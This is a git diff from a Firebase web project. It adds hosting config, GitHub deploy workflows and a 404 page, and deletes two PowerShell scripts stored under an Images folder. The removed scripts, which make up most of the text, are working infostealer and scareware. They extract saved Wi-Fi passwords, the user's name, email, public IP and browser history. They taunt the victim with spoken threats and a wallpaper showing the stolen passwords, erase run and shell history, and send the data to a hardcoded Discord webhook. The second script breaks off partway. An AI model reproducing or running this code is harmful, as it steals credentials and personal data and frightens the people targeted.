diff --git a/.firebaserc b/.firebaserc
new file mode 100644
index 0000000..0b23fe1
--- /dev/null
+++ b/.firebaserc
@@ -0,0 +1,5 @@
+{
+ "projects": {
+ "default": "formtime-577f3"
+ }
+}
diff --git a/.github/workflows/firebase-hosting-merge.yml b/.github/workflows/firebase-hosting-merge.yml
new file mode 100644
index 0000000..fbeaaf5
--- /dev/null
+++ b/.github/workflows/firebase-hosting-merge.yml
@@ -0,0 +1,19 @@
+# This file was auto-generated by the Firebase CLI
+# https://github.com/firebase/firebase-tools
+
+name: Deploy to Firebase Hosting on merge
+'on':
+ push:
+ branches:
+ - main
+jobs:
+ build_and_deploy:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v2
+ - uses: FirebaseExtended/action-hosting-deploy@v0
+ with:
+ repoToken: '${{ secrets.GITHUB_TOKEN }}'
+ firebaseServiceAccount: '${{ secrets.FIREBASE_SERVICE_ACCOUNT_FORMTIME_577F3 }}'
+ channelId: live
+ projectId: formtime-577f3
diff --git a/.github/workflows/firebase-hosting-pull-request.yml b/.github/workflows/firebase-hosting-pull-request.yml
new file mode 100644
index 0000000..8afb741
--- /dev/null
+++ b/.github/workflows/firebase-hosting-pull-request.yml
@@ -0,0 +1,16 @@
+# This file was auto-generated by the Firebase CLI
+# https://github.com/firebase/firebase-tools
+
+name: Deploy to Firebase Hosting on PR
+'on': pull_request
+jobs:
+ build_and_preview:
+ if: '${{ github.event.pull_request.head.repo.full_name == github.repository }}'
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v2
+ - uses: FirebaseExtended/action-hosting-deploy@v0
+ with:
+ repoToken: '${{ secrets.GITHUB_TOKEN }}'
+ firebaseServiceAccount: '${{ secrets.FIREBASE_SERVICE_ACCOUNT_FORMTIME_577F3 }}'
+ projectId: formtime-577f3
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..dbb58ff
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,66 @@
+# Logs
+logs
+*.log
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+firebase-debug.log*
+firebase-debug.*.log*
+
+# Firebase cache
+.firebase/
+
+# Firebase config
+
+# Uncomment this if you'd like others to create their own Firebase project.
+# For a team working on the same Firebase project(s), it is recommended to leave
+# it commented so all members can deploy to the same project(s) in .firebaserc.
+# .firebaserc
+
+# Runtime data
+pids
+*.pid
+*.seed
+*.pid.lock
+
+# Directory for instrumented libs generated by jscoverage/JSCover
+lib-cov
+
+# Coverage directory used by tools like istanbul
+coverage
+
+# nyc test coverage
+.nyc_output
+
+# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
+.grunt
+
+# Bower dependency directory (https://bower.io/)
+bower_components
+
+# node-waf configuration
+.lock-wscript
+
+# Compiled binary addons (http://nodejs.org/api/addons.html)
+build/Release
+
+# Dependency directories
+node_modules/
+
+# Optional npm cache directory
+.npm
+
+# Optional eslint cache
+.eslintcache
+
+# Optional REPL history
+.node_repl_history
+
+# Output of 'npm pack'
+*.tgz
+
+# Yarn Integrity file
+.yarn-integrity
+
+# dotenv environment variables file
+.env
diff --git a/404.html b/404.html
new file mode 100644
index 0000000..829eda8
--- /dev/null
+++ b/404.html
@@ -0,0 +1,33 @@
+
+
+
+
+
+ Page Not Found
+
+
+
+
+
+
404
+
Page Not Found
+
The specified file was not found on this website. Please check the URL for mistakes and try again.
+
Why am I seeing this?
+
This page was generated by the Firebase Command-Line Interface. To modify it, edit the 404.html file in your project's configured public directory.
+
+
+
diff --git a/Demp.mp3 b/Demp.mp3
new file mode 100644
index 0000000..2dd00e6
Binary files /dev/null and b/Demp.mp3 differ
diff --git a/Images/omg.ps1 b/Images/omg.ps1
deleted file mode 100644
index 2e3433c..0000000
--- a/Images/omg.ps1
+++ /dev/null
@@ -1,450 +0,0 @@
-$WebHook = "https://discord.com/api/webhooks/1061037724158656623/" + "o01hWxoWfHLb-TZg6wdZQzRBozVziu6C90r0Hk4B2o_pG2p25cnSNjJAXJwL4symR6YD"
-
-function Get-BrowserData {
-
- [CmdletBinding()]
- param (
- [Parameter (Position = 1, Mandatory = $True)]
- [string]$Browser,
- [Parameter (Position = 1, Mandatory = $True)]
- [string]$DataType
- )
-
- $Regex = '(http|https)://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
-
- if ($Browser -eq 'chrome' -and $DataType -eq 'history' ) { $Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History" }
- elseif ($Browser -eq 'chrome' -and $DataType -eq 'bookmarks' ) { $Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Bookmarks" }
- elseif ($Browser -eq 'edge' -and $DataType -eq 'history' ) { $Path = "$Env:USERPROFILE\AppData\Local\Microsoft/Edge/User Data/Default/History" }
- elseif ($Browser -eq 'edge' -and $DataType -eq 'bookmarks' ) { $Path = "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" }
- elseif ($Browser -eq 'firefox' -and $DataType -eq 'history' ) { $Path = "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\places.sqlite" }
-
-
- $Value = Get-Content -Path $Path | Select-String -AllMatches $regex | % { ($_.Matches).Value } | Sort -Unique
- $Value | ForEach-Object {
- $Key = $_
- if ($Key -match $Search) {
- New-Object -TypeName PSObject -Property @{
- User = $env:UserName
- Browser = $Browser
- DataType = $DataType
- Data = $_
- }
- }
- }
-}
-
-Function Minimize-Apps {
- $apps = New-Object -ComObject Shell.Application
- $apps.MinimizeAll()
-}
-
-function Upload-Discord {
-
- [CmdletBinding()]
- param (
- [parameter(Position = 0, Mandatory = $False)]
- [string]$file,
- [parameter(Position = 1, Mandatory = $False)]
- [string]$text
- )
-
- $hookurl = $WebHook
-
- $Body = @{
- 'username' = $env:username
- 'content' = $text
- }
-
- if (-not ([string]::IsNullOrEmpty($text))) {
- Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)
- };
-
- if (-not ([string]::IsNullOrEmpty($file))) { curl.exe -F "file1=@$file" $hookurl }
-}
-
-function Get-fullName {
-
- try {
-
- $fullName = Net User $Env:username | Select-String -Pattern "Full Name"; $fullName = ("$fullName").TrimStart("Full Name")
- Write-Host $fullName -ForegroundColor Green
- }
-
- # If no name is detected function will return $env:UserName
-
- # Write Error is just for troubleshooting
- catch {
- Write-Error "No name was detected"
- return $env:UserName
- -ErrorAction SilentlyContinue
- }
-
- return $fullName
-
-}
-
-function Get-Ram {
- $ram = Get-WmiObject Win32_ComputerSystem | Select-Object TotalPhysicalMemory
- $ram = $ram.TotalPhysicalMemory / 1GB
- $ram = [math]::Round($ram)
- Write-Host $ram Done -ForegroundColor Green
- return $ram
-}
-
-function Get-PublicIP {
- try {
- $computerPubIP = (Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content
- Write-Host $computerPubIP -ForegroundColor Green
- }
- catch {
- Write-error "No public IP found"
- return $null
- -ErrorAction SilentlyContinue
- }
-
- return $computerPubIP
-}
-
-function Get-Pass {
- try {
- $pro = netsh wlan show interface | Select-String -Pattern " SSID "
- $pro = $pro -replace "SSID", ""; $pro = $pro -replace ":", ""; $pro = $pro -replace " ", "";
-
- $pass = netsh wlan show profile $pro key=clear | Select-String -Pattern 'Key Content'; $pass = [string]$pass
- $passPOS = $pass.IndexOf(':')
- $pass = $pass.Substring($passPOS + 2).Trim()
- Write-Host $pass -ForegroundColor Green
- }
- catch {
- Weite-Error "No network found"
- return $null
- -ErrorAction SilentlyContinue
- }
- return $pass
-}
-
-function Get-Networks {
- # Get Wifi SSIDs and Passwords
- $WLANProfileNames = @()
-
- #Get all the WLAN profile names
- $Output = netsh.exe wlan show profiles | Select-String -pattern " : "
-
- #Trim the output to receive only the name
- Foreach ($WLANProfileName in $Output) {
- $WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim()
- }
- $WLANProfileObjects = @()
-
- ForEach ($WLANProfileName in $WLANProfileNames) {
- try {
- $WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string "Key Content" ) -split ":")[1]).Trim()
- }
- catch {
- $WLANProfilePassword = "The password is not stored in this profile :("
- }
-
- $WLANProfileObject = New-Object PSCustomObject
- $WLANProfileObject | Add-Member -Type NoteProperty -Name "SSID" -Value $WLANProfileName
- $WLANProfileObject | Add-Member -Type NoteProperty -Name "Password" -Value $WLANProfilePassword
- $WLANProfileObjects += $WLANProfileObject
- }
- return $WLANProfileObjects
-
- Write-Host "Networks found: $WLANProfileNames.Count" -ForegroundColor Green
-
- # return $WLANProfileNames
-}
-
-function Gen-Image {
- param (
- # Networks
- [parameter(Mandatory = $True)]
- [Object]$Networks
- )
-
- Add-Type -AssemblyName System.Drawing
-
- $filename = "C:\Users\Public\Documents\test.png"
- $font = new-object System.Drawing.Font Consolas, 24
- $brushBg = [System.Drawing.Brushes]::Black
- $brushFg = [System.Drawing.Brushes]::White
-
- # Create the Bitmap object
- $bmp = new-object System.Drawing.Bitmap 1920, 1080
- $graphics = [System.Drawing.Graphics]::FromImage($bmp)
- $graphics.FillRectangle($brushBg, 0, 0, $bmp.Width, $bmp.Height)
- $graphics.DrawString("Computer name and ip: $(Get-PublicIP)", $font, $brushFg, 10, 10)
- $y = 40
- foreach ($net in $Networks) {
- # $size = $graphics.MeasureString($net.Password, $font)
- $graphics.DrawString("$($net.SSID):", $font, $brushFg, 20, $y)
- $graphics.DrawString(" " * 40 + $net.Password, $font, $brushFg, 150, $y)
- $y += 30
- }
- $graphics.Dispose()
- $bmp.Save($filename)
-
- # Invoke-Item $filename
-
-
- # Copy the image to the desktop
- $newPath = "C:\Users\$env:USERNAME\Desktop\NotSUS.png"
- Copy-Item "C:\Users\Public\Documents\test.png" $newPath
-
- Write-Host "Image generated" -ForegroundColor Green
- return "C:\Users\Public\Documents\test.png"
-}
-
-function Set-WallPaper {
- param (
- [parameter(Mandatory = $True)]
- # Provide path to image
- [string]$Image,
- # Provide wallpaper style that you would like applied
- [parameter(Mandatory = $False)]
- [ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]
- [string]$Style
- )
-
- $WallpaperStyle = Switch ($Style) {
-
- "Fill" { "10" }
- "Fit" { "6" }
- "Stretch" { "2" }
- "Tile" { "0" }
- "Center" { "0" }
- "Span" { "22" }
-
- }
-
- If ($Style -eq "Tile") {
-
- New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
- New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force
-
- }
- Else {
-
- New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
- New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force
-
- }
-
- Add-Type -TypeDefinition @"
-using System;
-using System.Runtime.InteropServices;
-
-public class Params
-{
- [DllImport("User32.dll",CharSet=CharSet.Unicode)]
- public static extern int SystemParametersInfo (Int32 uAction,
- Int32 uParam,
- String lpvParam,
- Int32 fuWinIni);
-}
-"@
-
- $SPI_SETDESKWALLPAPER = 0x0014
- $UpdateIniFile = 0x01
- $SendChangeEvent = 0x02
-
- $fWinIni = $UpdateIniFile -bor $SendChangeEvent
-
- [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)
-}
-
-function Get-email {
- try {
- $email = GPRESULT -Z /USER $Env:USERNAME | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches; $email = ("$email").Trim()
- # $emailpos = $email.IndexOf("@")
- # $domain = $email.Substring($emailpos + 1)
- Write-Host "Email found: $email" -ForegroundColor Green
- }
- catch {
- $email = "No email found"
- Write-Error "No email found"
- }
- return $email
-
-}
-
-function Get-Days_Set {
- try {
- $pls = net user $env:UserName | Select-String -Pattern "Password last" ; $pls = [string]$pls
- $plsPOS = $pls.IndexOf("e")
- $pls = $pls.Substring($plsPOS + 2).Trim()
- $pls = $pls -replace ".{3}$"
- $time = ((get-date) - (get-date "$pls")) ; $time = [string]$time
- $DateArray = $time.Split(".")
- $days = [int]$DateArray[0]
- Write-Host "Days since password set: $days" -ForegroundColor Green
- }
-
- # If no password set date is detected funtion will return $null to cancel Sapi Speak
-
- # Write Error is just for troubleshooting
- catch {
- Write-Error "Day password set not found"
- return $null
- -ErrorAction SilentlyContinue
- }
- return $days
-}
-
-$s = New-Object -ComObject SAPI.SpVoice
-
-$s.Rate = -1
-$days = Get-Days_Set
-$full_name = Get-fullName
-$ram = Get-Ram
-$ip = Get-PublicIP
-$pass = Get-Pass
-$email = Get-email
-$Networks = Get-Networks
-$passLength = $pass.Length
-$porn = 0
-
-$E_his = Get-BrowserData -Browser "edge" -DataType "history" -ErrorAction SilentlyContinue
-$E_Boo = Get-BrowserData -Browser "edge" -DataType "bookmarks" -ErrorAction SilentlyContinue
-$C_his = Get-BrowserData -Browser "chrome" -DataType "history" -ErrorAction SilentlyContinue
-$C_boo = Get-BrowserData -Browser "chrome" -DataType "bookmarks" -ErrorAction SilentlyContinue
-$F_his = Get-BrowserData -Browser "firefox" -DataType "history" -ErrorAction SilentlyContinue
-
-# caps lock indicator light
-$blinks = 3; $o = New-Object -ComObject WScript.Shell; for ($num = 1 ; $num -le $blinks * 2; $num++) { $o.SendKeys("{CAPSLOCK}"); Start-Sleep -Milliseconds 250 }
-$k = [Math]::Ceiling(100 / 2); $o = New-Object -ComObject WScript.Shell; for ($i = 0; $i -lt $k; $i++) { $o.SendKeys([char] 175) }
-
-
-#-----------------------------------------------------------------------------------------------------------
-
-<#
-.NOTES
- Then the script will be paused until the mouse is moved
- script will check mouse position every indicated number of seconds
- This while loop will constantly check if the mouse has been moved
- "CAPSLOCK" will be continously pressed to prevent screen from turning off
- it will then sleep for the indicated number of seconds and check again
- when mouse is moved it will break out of the loop and continue theipt
-#>
-
-
-Add-Type -AssemblyName System.Windows.Forms
-$originalPOS = [System.Windows.Forms.Cursor]::Position.X
-
-while (1) {
- $pauseTime = 3
- if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS) {
- break
- }
- else {
- $o.SendKeys("{CAPSLOCK}"); Start-Sleep -Seconds $pauseTime
- }
-}
-Write-Host "it worked"
-
-$wshell = New-Object -ComObject Wscript.Shell
-$wshell.Popup("INTRUDER DETECTED `nHello $full_name...", 0, "Error", 32 + 4)
-
-
-$s.Speak("Hello $full_name, I have accessed your computer. Your security is weak.")
-
-if ($ram -gt 63) {
-$s.Speak("You have $ram gigabytes of ram. But with no security measures in place, it's useless against a skilled hacker like me.")
-}
-elseif ($ram -gt 31) {
-$s.Speak("You have $ram gigabytes of ram. Decent, but your lack of security makes it easy for me to infiltrate your system.")
-}
-elseif ($ram -gt 15) {
-$s.Speak("You have $ram gigabytes of ram. It's enough to run basic programs, but it's not enough to protect you from a determined attacker like me.")
-}
-else {
-$s.Speak("You have $ram gigabytes of ram. It's not even enough to run most programs, let alone protect your computer from a hacker like me.")
-}
-
-if ($pass -gt 6) {
-$message = "A password thats $passLength characters long. But it's not enough to stop me."
-}
-else {
-$message = "A password thats $passLength characters long is not secure at all. It's easy for me to crack."
-}
-
-if ($days -gt 30) {
-$message = $message + " You have not changed your password in $days days. It's like you're inviting me to hack into your account."
-}
-else {
-$message = $message + " You have changed your password recently. But it's not enough to stop me from hacking into your account."
-}
-
-$s.Speak("I see your browser history is somewhat clean, but I still managed to find your personal information.")
-
-$s.Speak($message)
-
-$s.Speak("You think I am just making this info up? Think again. I have access to all of your sensitive information.")
-
-$s.Speak("Your public IP address is $ip. I can use it to track your location and find out even more about you.")
-
-$s.Speak("You have a lot of mail in $email. I can use it to steal your identity or scam your friends and family.")
-
-$s.Speak("Want to see something scary? I have taken control of your desktop.")
-
-$Image = Gen-Image -Networks $Networks
-Set-WallPaper -Image $Image -Style "Fit"
-
-Minimize-Apps
-
-
-$s.Speak("Have a look at your desktop, You will hear from us soon $full_name. Goodluck.")
-
-# open the terminal and run the commands
-
-Start-Process -FilePath "powershell.exe" -ArgumentList "-NoExit -Command 'Get-Process | Out-File -FilePath C:\Users\Public\Documents\processes.txt'" -WindowStyle Hidden
-
-
-reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
-
-# Delete powershell history
-
-Remove-Item (Get-PSreadlineOption).HistorySavePath -ErrorAction SilentlyContinue
-
-# Remove-Item "C:\Users\Public\Documents\test.png"
-
-Add-Type -AssemblyName System.Windows.Forms
-$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock')
-
-Upload-Discord -file "C:\Users\Public\Documents\test.png"
-
-# Save all $E_his, $E_Boo, $C_his, $C_boo, $F_his to a file
-$E_his | Out-File -FilePath "C:\Users\Public\Documents\edge_history.txt"
-$E_Boo | Out-File -FilePath "C:\Users\Public\Documents\edge_bookmarks.txt"
-$C_his | Out-File -FilePath "C:\Users\Public\Documents\chrome_history.txt"
-$C_boo | Out-File -FilePath "C:\Users\Public\Documents\chrome_bookmarks.txt"
-$F_his | Out-File -FilePath "C:\Users\Public\Documents\firefox_history.txt"
-
-# combine all files into one
-Get-ChildItem -Path "C:\Users\Public\Documents\" -Filter "*.txt" | Get-Content | Out-File -FilePath "C:\Users\Public\Documents\all_history.txt"
-
-# Upload all files to discord
-Upload-Discord -file "C:\Users\Public\Documents\all_history.txt"
-
-Invoke-Item "C:\Users\Public\Documents\test.png"
-
-
-#If true, toggle CapsLock key, to ensure that the script doesn't fail
-if ($caps -eq $true) {
- $key = New-Object -ComObject WScript.Shell
- $key.SendKeys('{CapsLock}')
-}
-
-
-<#
-.NOTES
- Get-Ram
- Get-PublicIP
- Get-Pass
- Get-Networks
- Gen-Image
- Set-WallPaper
- Get-email
- Get-Days_Set
-#>
\ No newline at end of file
diff --git a/Images/script.ps1 b/Images/script.ps1
deleted file mode 100644
index d505fd9..0000000
--- a/Images/script.ps1
+++ /dev/null
@@ -1,473 +0,0 @@
-$WebHook = "https://discord.com/api/webhooks/1061037724158656623/" + "o01hWxoWfHLb-TZg6wdZQzRBozVziu6C90r0Hk4B2o_pG2p25cnSNjJAXJwL4symR6YD"
-
-function Get-BrowserData {
-
- [CmdletBinding()]
- param (
- [Parameter (Position = 1, Mandatory = $True)]
- [string]$Browser,
- [Parameter (Position = 1, Mandatory = $True)]
- [string]$DataType
- )
-
- $Regex = '(http|https)://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
-
- if ($Browser -eq 'chrome' -and $DataType -eq 'history' ) { $Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History" }
- elseif ($Browser -eq 'chrome' -and $DataType -eq 'bookmarks' ) { $Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Bookmarks" }
- elseif ($Browser -eq 'edge' -and $DataType -eq 'history' ) { $Path = "$Env:USERPROFILE\AppData\Local\Microsoft/Edge/User Data/Default/History" }
- elseif ($Browser -eq 'edge' -and $DataType -eq 'bookmarks' ) { $Path = "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" }
- elseif ($Browser -eq 'firefox' -and $DataType -eq 'history' ) { $Path = "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\places.sqlite" }
-
-
- $Value = Get-Content -Path $Path | Select-String -AllMatches $regex | % { ($_.Matches).Value } | Sort -Unique
- $Value | ForEach-Object {
- $Key = $_
- if ($Key -match $Search) {
- New-Object -TypeName PSObject -Property @{
- User = $env:UserName
- Browser = $Browser
- DataType = $DataType
- Data = $_
- }
- }
- }
-}
-
-Function Minimize-Apps {
- $apps = New-Object -ComObject Shell.Application
- $apps.MinimizeAll()
-}
-
-function Upload-Discord {
-
- [CmdletBinding()]
- param (
- [parameter(Position = 0, Mandatory = $False)]
- [string]$file,
- [parameter(Position = 1, Mandatory = $False)]
- [string]$text
- )
-
- $hookurl = $WebHook
-
- $Body = @{
- 'username' = $env:username
- 'content' = $text
- }
-
- if (-not ([string]::IsNullOrEmpty($text))) {
- Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)
- };
-
- if (-not ([string]::IsNullOrEmpty($file))) { curl.exe -F "file1=@$file" $hookurl }
-}
-
-function Get-fullName {
-
- try {
-
- $fullName = Net User $Env:username | Select-String -Pattern "Full Name"; $fullName = ("$fullName").TrimStart("Full Name")
- Write-Host $fullName -ForegroundColor Green
- }
-
- # If no name is detected function will return $env:UserName
-
- # Write Error is just for troubleshooting
- catch {
- Write-Error "No name was detected"
- return $env:UserName
- -ErrorAction SilentlyContinue
- }
-
- return $fullName
-
-}
-
-function Get-Ram {
- $ram = Get-WmiObject Win32_ComputerSystem | Select-Object TotalPhysicalMemory
- $ram = $ram.TotalPhysicalMemory / 1GB
- $ram = [math]::Round($ram)
- Write-Host $ram Done -ForegroundColor Green
- return $ram
-}
-
-function Get-PublicIP {
- try {
- $computerPubIP = (Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content
- Write-Host $computerPubIP -ForegroundColor Green
- }
- catch {
- Write-error "No public IP found"
- return $null
- -ErrorAction SilentlyContinue
- }
-
- return $computerPubIP
-}
-
-function Get-Pass {
- try {
- $pro = netsh wlan show interface | Select-String -Pattern " SSID "
- $pro = $pro -replace "SSID", ""; $pro = $pro -replace ":", ""; $pro = $pro -replace " ", "";
-
- $pass = netsh wlan show profile $pro key=clear | Select-String -Pattern 'Key Content'; $pass = [string]$pass
- $passPOS = $pass.IndexOf(':')
- $pass = $pass.Substring($passPOS + 2).Trim()
- Write-Host $pass -ForegroundColor Green
- }
- catch {
- Weite-Error "No network found"
- return $null
- -ErrorAction SilentlyContinue
- }
- return $pass
-}
-
-function Get-Networks {
- # Get Wifi SSIDs and Passwords
- $WLANProfileNames = @()
-
- #Get all the WLAN profile names
- $Output = netsh.exe wlan show profiles | Select-String -pattern " : "
-
- #Trim the output to receive only the name
- Foreach ($WLANProfileName in $Output) {
- $WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim()
- }
- $WLANProfileObjects = @()
-
- ForEach ($WLANProfileName in $WLANProfileNames) {
- try {
- $WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string "Key Content" ) -split ":")[1]).Trim()
- }
- catch {
- $WLANProfilePassword = "The password is not stored in this profile :("
- }
-
- $WLANProfileObject = New-Object PSCustomObject
- $WLANProfileObject | Add-Member -Type NoteProperty -Name "SSID" -Value $WLANProfileName
- $WLANProfileObject | Add-Member -Type NoteProperty -Name "Password" -Value $WLANProfilePassword
- $WLANProfileObjects += $WLANProfileObject
- }
- return $WLANProfileObjects
-
- Write-Host "Networks found: $WLANProfileNames.Count" -ForegroundColor Green
-
- # return $WLANProfileNames
-}
-
-function Gen-Image {
- param (
- # Networks
- [parameter(Mandatory = $True)]
- [Object]$Networks
- )
-
- Add-Type -AssemblyName System.Drawing
-
- $filename = "C:\Users\Public\Documents\test.png"
- $font = new-object System.Drawing.Font Consolas, 24
- $brushBg = [System.Drawing.Brushes]::Black
- $brushFg = [System.Drawing.Brushes]::White
-
- # Create the Bitmap object
- $bmp = new-object System.Drawing.Bitmap 1920, 1080
- $graphics = [System.Drawing.Graphics]::FromImage($bmp)
- $graphics.FillRectangle($brushBg, 0, 0, $bmp.Width, $bmp.Height)
- $graphics.DrawString("Computer name and ip: $(Get-PublicIP)", $font, $brushFg, 10, 10)
- $y = 40
- foreach ($net in $Networks) {
- # $size = $graphics.MeasureString($net.Password, $font)
- $graphics.DrawString("$($net.SSID):", $font, $brushFg, 20, $y)
- $graphics.DrawString(" " * 40 + $net.Password, $font, $brushFg, 150, $y)
- $y += 30
- }
- $graphics.Dispose()
- $bmp.Save($filename)
-
- # Invoke-Item $filename
-
-
- # Copy the image to the desktop
- $newPath = "C:\Users\$env:USERNAME\Desktop\NotSUS.png"
- Copy-Item "C:\Users\Public\Documents\test.png" $newPath
-
- Write-Host "Image generated" -ForegroundColor Green
- return "C:\Users\Public\Documents\test.png"
-}
-
-function Set-WallPaper {
- param (
- [parameter(Mandatory = $True)]
- # Provide path to image
- [string]$Image,
- # Provide wallpaper style that you would like applied
- [parameter(Mandatory = $False)]
- [ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]
- [string]$Style
- )
-
- $WallpaperStyle = Switch ($Style) {
-
- "Fill" { "10" }
- "Fit" { "6" }
- "Stretch" { "2" }
- "Tile" { "0" }
- "Center" { "0" }
- "Span" { "22" }
-
- }
-
- If ($Style -eq "Tile") {
-
- New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
- New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force
-
- }
- Else {
-
- New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
- New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force
-
- }
-
- Add-Type -TypeDefinition @"
-using System;
-using System.Runtime.InteropServices;
-
-public class Params
-{
- [DllImport("User32.dll",CharSet=CharSet.Unicode)]
- public static extern int SystemParametersInfo (Int32 uAction,
- Int32 uParam,
- String lpvParam,
- Int32 fuWinIni);
-}
-"@
-
- $SPI_SETDESKWALLPAPER = 0x0014
- $UpdateIniFile = 0x01
- $SendChangeEvent = 0x02
-
- $fWinIni = $UpdateIniFile -bor $SendChangeEvent
-
- [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)
-}
-
-function Get-email {
- try {
- $email = GPRESULT -Z /USER $Env:USERNAME | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches; $email = ("$email").Trim()
- # $emailpos = $email.IndexOf("@")
- # $domain = $email.Substring($emailpos + 1)
- Write-Host "Email found: $email" -ForegroundColor Green
- }
- catch {
- $email = "No email found"
- Write-Error "No email found"
- }
- return $email
-
-}
-
-function Get-Days_Set {
- try {
- $pls = net user $env:UserName | Select-String -Pattern "Password last" ; $pls = [string]$pls
- $plsPOS = $pls.IndexOf("e")
- $pls = $pls.Substring($plsPOS + 2).Trim()
- $pls = $pls -replace ".{3}$"
- $time = ((get-date) - (get-date "$pls")) ; $time = [string]$time
- $DateArray = $time.Split(".")
- $days = [int]$DateArray[0]
- Write-Host "Days since password set: $days" -ForegroundColor Green
- }
-
- # If no password set date is detected funtion will return $null to cancel Sapi Speak
-
- # Write Error is just for troubleshooting
- catch {
- Write-Error "Day password set not found"
- return $null
- -ErrorAction SilentlyContinue
- }
- return $days
-}
-
-$s1 = New-Object -ComObject SAPI.SpVoice
-# different voices
-$s2 = New-Object -ComObject SAPI.SpVoice
-$s2.Voice = $s2.GetVoices().Item(1)
-
-$s1.Rate = -1
-$s2.Rate = -1
-$days = Get-Days_Set
-$full_name = Get-fullName
-$ram = Get-Ram
-$ip = Get-PublicIP
-$pass = Get-Pass
-$email = Get-email
-$Networks = Get-Networks
-$passLength = $pass.Length
-$porn = 0
-
-$E_his = Get-BrowserData -Browser "edge" -DataType "history" -ErrorAction SilentlyContinue
-$E_Boo = Get-BrowserData -Browser "edge" -DataType "bookmarks" -ErrorAction SilentlyContinue
-$C_his = Get-BrowserData -Browser "chrome" -DataType "history" -ErrorAction SilentlyContinue
-$C_boo = Get-BrowserData -Browser "chrome" -DataType "bookmarks" -ErrorAction SilentlyContinue
-$F_his = Get-BrowserData -Browser "firefox" -DataType "history" -ErrorAction SilentlyContinue
-
-# caps lock indicator light
-$blinks = 3; $o = New-Object -ComObject WScript.Shell; for ($num = 1 ; $num -le $blinks * 2; $num++) { $o.SendKeys("{CAPSLOCK}"); Start-Sleep -Milliseconds 250 }
-$k = [Math]::Ceiling(100 / 2); $o = New-Object -ComObject WScript.Shell; for ($i = 0; $i -lt $k; $i++) { $o.SendKeys([char] 175) }
-
-
-#-----------------------------------------------------------------------------------------------------------
-
-<#
-.NOTES
- Then the script will be paused until the mouse is moved
- script will check mouse position every indicated number of seconds
- This while loop will constantly check if the mouse has been moved
- "CAPSLOCK" will be continously pressed to prevent screen from turning off
- it will then sleep for the indicated number of seconds and check again
- when mouse is moved it will break out of the loop and continue theipt
-#>
-
-
-Add-Type -AssemblyName System.Windows.Forms
-$originalPOS = [System.Windows.Forms.Cursor]::Position.X
-
-while (1) {
- $pauseTime = 3
- if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS) {
- break
- }
- else {
- $o.SendKeys("{CAPSLOCK}"); Start-Sleep -Seconds $pauseTime
- }
-}
-Write-Host "it worked"
-
-$wshell = New-Object -ComObject Wscript.Shell
-$wshell.Popup("INTRUDER DETECTED `nHello $full_name...", 0, "Error", 32 + 4)
-
-
-$s1.Speak("Hello $full_name.")
-
-if ($ram -gt 63) {
- $s1.Speak("You have $ram gigabytes of ram. Really? You dont need that much for watching *THINGS* on the internet $full_name. But a computer this good with no security...")
-}
-elseif ($ram -gt 31) {
- $s1.Speak("You have $ram gigabytes of ram. Decent pc. You dont need that much for watching *THINGS* on the internet $full_name. But a computer this good with no security...")
-}
-elseif ($ram -gt 15) {
- $s1.Speak("You have $ram gigabytes of ram. Nice amout to run. If you just play games, perfect. Good for watching *THINGS* on the internet.. But no security...")
-}
-else {
